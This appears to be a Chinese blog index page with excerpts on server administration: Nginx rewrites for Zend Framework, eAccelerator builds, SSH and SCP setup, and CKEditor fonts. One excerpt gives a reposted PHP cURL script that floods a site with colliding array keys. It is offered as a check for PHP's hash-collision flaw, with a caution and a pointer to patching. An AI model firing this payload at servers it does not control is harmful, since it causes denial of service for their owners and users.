将基于Zend Framework的项目从Apache迁移到Nginx的过程中,需要重新调整rewrite规则的写法,如下:
location / {
index index.html index.php;
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php last;
}
}
专注WEB编程开发技术
将基于Zend Framework的项目从Apache迁移到Nginx的过程中,需要重新调整rewrite规则的写法,如下:
location / {
index index.html index.php;
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php last;
}
}
1. 查看CPU信息(型号)
# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
8 Intel(R) Xeon(R) CPU E5410 @ 2.33GHz
(看到有8个逻辑CPU, 也知道了CPU型号)
# cat /proc/cpuinfo | grep physical | uniq -c
4 physical id : 0
4 physical id : 1
(说明实际上是两颗4核的CPU)
告别程序员生涯,一点感慨,与诸君共勉(转CSDN)
再过几天,我就正式告别程序员生涯了,这也是我最后一次以职业程序员身份在CSDN发表文章。
小弟谈谈入行几年来的感受,做一个人生阶段的自我总结,同时希望能给后来者带来点参考意见,能在这段路上走的更好。
eAccelerator是一个自由开放源码的PHP加速器,优化和动态内容缓存,提高了PHP脚本的缓存性能,使得PHP脚本在编译的状态下,对服务器的开销几乎完全消除。 它还有对脚本起优化作用,以加快其执行效率。使PHP程序代码执行效率提高1-10倍;
下面我们以eAccelerator 0.9.6.1版本为例,介绍一下编译安装方法:
1. 编译安装
tar jxvf ./eaccelerator-0.9.6.1.tar.bz2
cd eaccelerator-0.9.6.1
/usr/local/php/bin/phpize
./configure –with-php-config=/usr/local/php/bin/php-config –enable-eaccelerator=shared
make
make install
这是站长在2011年时一次安装服务器时所记录的Nginx和PHP的安装笔记。安装过程记录的比较简略,仅仅是一个大致的流程,一些细节描述的不够详细,请多多谅解,我会在日后重新整理一份详细的安装过程,本文仅供参考!
软件环境:CentOS 5.7 + PHP 5.2.17 + Nginx 0.8.55
Portmap(端口映射)
sudo apt-get install -y portmap
端口映射是ONC RPC(Open Network Computing Remote Procedure)软件集合的一部分,用于实现在计算机程序之间的远程过程调用(RPC)。它被广泛应用于NFS(Network File System)和NIS(Network Information Service)。
下面是一段从互联网上转载来的PHP代码,可以用来检测服务器上的PHP是否存在Hash漏洞。
<?php $size = pow(2, 16); $array = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php"); //修改成你的网站域名 for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { #$array[$key] = 0; $argument.="a[".$key."]=0&"; } curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, '0'); curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)'); $return['result'] = curl_exec($ch); $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); ?>
上面的代码请谨慎使用,同时提醒大家尽快修补漏洞,相关的方法请参见:http://www.sunbloger.com/article/224.html
CKEditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java以及ABAP等不同的编程语言相结合。
CKEditor编辑器界面中的字体选项里暂时没有中文字体。可按如下方法添加:
打开CKEditor目录里的config.js,找到下面这段代码:
SCP是Secure Copy的缩写,SCP是Linux系统下基于SSH登陆进行安全的远程文件拷贝命令。Linux的scp命令可以在Linux服务器之间复制文件和目录。
让SCP不再需要输入密码,以便我们在Shell中方便调用,下面介绍一下配置方法:
1.生成密匙对
这里我们使用rsa的密钥,命令为ssh-keygen -t rsa
生成过程中,会提示输入一个用于密钥的密码,我们可以直接回车,让密码为空,这样以后SSH就不用输入密码了。
生成成功后:公共密钥保存在~/.ssh/id_rsa.pub,私有密钥保存在~/.ssh/id_rsa。
在Linux下使用SSH时,可能会遇到连接某台主机时等待时间很长,连接很慢的现象,这是因为SSH启用了反向解析功能。
可以通过下面2步解决这个问题。
1.修改服务器端的/etc/ssh/sshd_config,去掉UseDns的注释,并将yes改为no,重启sshd,例如:service sshd restart。
2.修改本地客户端的/etc/ssh/ssh_conf,找到GSSAPIAuthentication yes,改为no即可。